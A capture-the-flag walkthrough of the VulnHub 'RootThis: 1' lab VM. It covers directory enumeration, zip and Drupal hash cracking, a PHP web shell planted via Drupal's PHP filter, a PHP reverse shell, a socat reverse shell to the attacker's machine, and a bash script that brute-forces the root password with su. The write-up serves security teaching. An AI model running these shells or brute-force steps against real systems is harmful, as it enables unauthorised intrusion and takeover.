Info

Name: RootThis: 1
Operating System: Linux
Url: https://www.vulnhub.com/entry/rootthis-1,272/
Release: 5 Dec 2018
Difficulty: ???
Description: N/A

Enumeration

As usual, let's start with a nmap scan to see what we are up against.

nmap -sC -sV -oA Nmap/initial 192.168.1.135
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-16 20:20 CET
Nmap scan report for 192.168.1.135
Host is up (0.000060s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works

Here we see that only one port is open: 80.
Visiting the web server we only see the default Apache site.

Since we only have one port to enumerate, let's start with a Gobuster scan.

gobuster -u 192.168.1.135 -w /usr/share/wordlists/dirb/directory-list-2.3-medium.txt 

=====================================================
Gobuster v2.0.1              OJ Reeves (@TheColonial)
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://192.168.1.135/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/directory-list-2.3-medium.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout      : 10s
=====================================================
2019/03/16 22:22:53 Starting gobuster
=====================================================
/manual (Status: 301)
/backup (Status: 200)
/drupal (Status: 301)
/server-status (Status: 403)

Here we see two interesting directories: /backup and /drupal.
Taking a look at /backup reveals that its a zip file containing a database file.

wget 192.168.1.135/backup
--2019-03-16 22:26:30--  http://192.168.1.135/backup
Connecting to 192.168.1.135:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 270103 (264K)
Saving to: ‘backup’

backup                                      100%[================================>] 263.77K  --.-KB/s    in 0.008s  

2019-03-16 22:26:30 (32.8 MB/s) - ‘backup’ saved [270103/270103]

file backup 
backup: Zip archive data, at least v2.0 to extract

Renaming the file to backup.zip and trying to unzip it reveals that the file is password protected.

mv backup backup.zip
 
unzip backup.zip 
Archive:  backup.zip
[backup.zip] dump.sql password: 
   skipping: dump.sql                incorrect password

Trying a few default passwords got me nowhere, so let's try bruteforcing the password.

fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip 
found file 'dump.sql', (size cp/uc 269921/1868829, flags 9, chk 118d)
checking pw udei9Qui                                

PASSWORD FOUND!!!!: pw == thebackup

Awesome! We got a password.

After unzipping the file, I imported dump.sql into MariaDB so I could run some basic SQL queries.
Here we get a Drupal password hash.

MariaDB [drupaldb]> select name,pass,mail from users;
+--------+---------------------------------------------------------+----------------------+
| name   | pass                                                    | mail                 |
+--------+---------------------------------------------------------+----------------------+
|        |                                                         |                      |
| webman | $S$D48VBXSv5S.xSEjmLOyEPUL.okqerljl.gR6X7q0nyYAvymhZ4VN | webman@localhost.net |
+--------+---------------------------------------------------------+----------------------+
2 rows in set (0.00 sec)

Let's crack the password hash using Hashcat!

> hashcat64.exe -m 7900 hashes.txt rockyou.txt

$S$D48VBXSv5S.xSEjmLOyEPUL.okqerljl.gR6X7q0nyYAvymhZ4VN:moranguita

Session..........: hashcat
Status...........: Cracked
Hash.Type........: Drupal7
Hash.Target......: $S$D48VBXSv5S.xSEjmLOyEPUL.okqerljl.gR6X7q0nyYAvymhZ4VN
Time.Started.....: Sat Mar 16 22:37:40 2019 (15 secs)
Time.Estimated...: Sat Mar 16 22:37:55 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:    30432 H/s (7.21ms) @ Accel:64 Loops:16 Thr:256 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 458752/14344385 (3.20%)
Rejected.........: 0/458752 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Candidates.#1....: 123456 -> tungalag
HWMon.Dev.#1.....: Temp: 82c Fan: 45% Util: 98% Core:1797MHz Mem:5508MHz Bus:16

We successfully cracked the hash!

Now, let's go back to the other directory we found using Gobuster.
Visiting this directory gives us a standard Drupal page.

Here we can log in as webman/moranguita.

Before this step I also ran droopescan and found that the PHP plugin was installed - meaning we can get code execution after logging in.

droopescan scan drupal -u 192.168.1.135/drupal
[+] Themes found:                                                               
    seven http://192.168.1.135/drupal/themes/seven/
    garland http://192.168.1.135/drupal/themes/garland/

[+] Possible interesting urls found:
    Default changelog file - http://192.168.1.135/drupal/CHANGELOG.txt
    Default admin - http://192.168.1.135/drupal/user/login

[+] Possible version(s):
    7.57
    7.58
    7.59

[+] Plugins found:
    image http://192.168.1.135/drupal/modules/image/
    profile http://192.168.1.135/drupal/modules/profile/
    php http://192.168.1.135/drupal/modules/php/

[+] Scan finished (0:00:33.871112 elapsed)

Initial Foothold

After logging in as webman I created a new page by going to: Content > Add content -> Basic page.
Remember to change "Text format" to "PHP code".

Here I added some basic PHP code so I could execute code from my browser:

<?php system($_GET["cmd"]);?>

After verifying I got code execution I used wget to download a PHP reverse shell from my box.
I used /usr/share/webshells/php/php-reverse-shell.php.

python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.135 - - [16/Mar/2019 22:52:32] "GET /php-reverse-shell.php HTTP/1.1" 200 -

Now, let's first setup a listener on our box, and then execute the PHP file.

nc -lvnp 8080
listening on [any] 8080 ...
connect to [192.168.1.115] from (UNKNOWN) [192.168.1.135] 60734
Linux RootThis 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
 17:55:32 up  2:35,  0 users,  load average: 0.00, 0.03, 0.07
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

Cool! We have a low privilege shell!
On to priv esc!

Privilege Escalation

Looking at /home/user we find an interesting text file.

$ cat /home/user/MessageToRoot.txt
Hi root,

Your password for this machine is weak and within the first 300 words of the rockyou.txt wordlist. 
Fortunately root is not accessible via ssh. Please update the password to a more secure one.

Regards,
user

Sweet. The root user is using a weak password, so we can probably brute force our way to root.

The problem though, is that we don't have an exposed SSH port, and we don't have an interactive terminal, so we can't do stuff like su to change user.
Making matters worse, sudo isn't even installed on the box! And the same goes for python - so we can't easily upgrade our shell! :(

$ sudo
/bin/sh: 8: sudo: not found
$ su - root
su: must be run from a terminal
$ which python
$ which python3
$

Socat to the rescue!

Socat can be used, e.g., as TCP port forwarder (one-shot or daemon), as an external socksifier, for attacking weak firewalls, as a shell interface to UNIX sockets, IP6 relay, for redirecting TCP oriented programs to a serial line, to logically connect serial lines on different computers, or to establish a relatively secure environment (su and chroot) for running client or server shell scripts with network connections.

Since wget is installed on the box, I decided to upload a statically-linked version of socat and get an interactive terminal that way.

$ wget 192.168.1.115/socat
--2019-03-16 18:09:44--  http://192.168.1.115/socat
Connecting to 192.168.1.115:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 375176 (366K) [application/octet-stream]
Saving to: 'socat'

     0K .......... .......... .......... .......... .......... 13% 35.5M 0s
    50K .......... .......... .......... .......... .......... 27% 43.7M 0s
   100K .......... .......... .......... .......... .......... 40% 73.2M 0s
   150K .......... .......... .......... .......... .......... 54% 72.0M 0s
   200K .......... .......... .......... .......... .......... 68% 59.2M 0s
   250K .......... .......... .......... .......... .......... 81% 80.9M 0s
   300K .......... .......... .......... .......... .......... 95% 69.1M 0s
   350K .......... ......                                     100% 72.0M=0.006s

2019-03-16 18:09:44 (57.7 MB/s) - 'socat' saved [375176/375176]
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.1.135 - - [16/Mar/2019 23:09:29] "GET /socat HTTP/1.1" 200 -

Now, let's get an interactive terminal going, so we can start brute forcing the root password.

On my machine I setup a socat listener.

socat file:`tty`,raw,echo=0 tcp-listen:1337

And on the other machine let's connect back to us using socat.

$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.115:1337  

Finally we have an interactive terminal!

www-data@RootThis:/dev/shm$ su - root
Password:
su: Authentication failure
www-data@RootThis:/dev/shm$

So, we already know that the root user is using a password located somewhere in the first 300 lines in rockyou.txt.
So let's create a bash script brute forcing the password, shall we?

First I "extracted" the first 300 passwords in rockyou.txt and saved them to a separate file called passwords.txt:

head -300 /usr/share/wordlists/rockyou.txt > passwords.txt

Since we already have socat available, let's use socat within the script to try and escalate to root.
We end up with the following script for brute forcing the root password:

#!/bin/bash
file="passwords.txt"
                 
while read line; do
     echo "Trying password: $line";
     (sleep 0.1; echo $line) | ./socat - EXEC:'su -c id',pty;
 done < $file

This script will read all the passwords from passwords.txt line-by-line. Then it will sleep for 0.1 second, echo the password and pipe everything to socat, which in turn will try and run id as root.

If we successfully brute force the root password, we should see the output from id.
Let's try!

After trying almost all the passwords in passwords.txt we see the following output:

Trying password: isabel
Password:
Trying password: natalie
Password:
Trying password: cuteako
Password:
Trying password: javier
Password:
Trying password: 789456123
Password:
uid=0(root) gid=0(root) groups=0(root)
Trying password: 123654
Password:
Trying password: sarah
Password:
Trying password: bowwow
Password:
www-data@RootThis:/dev/shm$

Awesome! We found the root password: 789456123
Let's get the flag!

www-data@RootThis:/dev/shm$ su - root 
Password: 
root@RootThis:~# cat /root/flag.txt
Congratulations!

flag: a67d764105005a6a95a9c8c03bc95710bc396dccc4364704127170637b2bd39d

Further Reading

https://github.com/droope/droopescan

https://blog.rootshell.be/2010/10/31/socat-another-network-swiss-army-knife/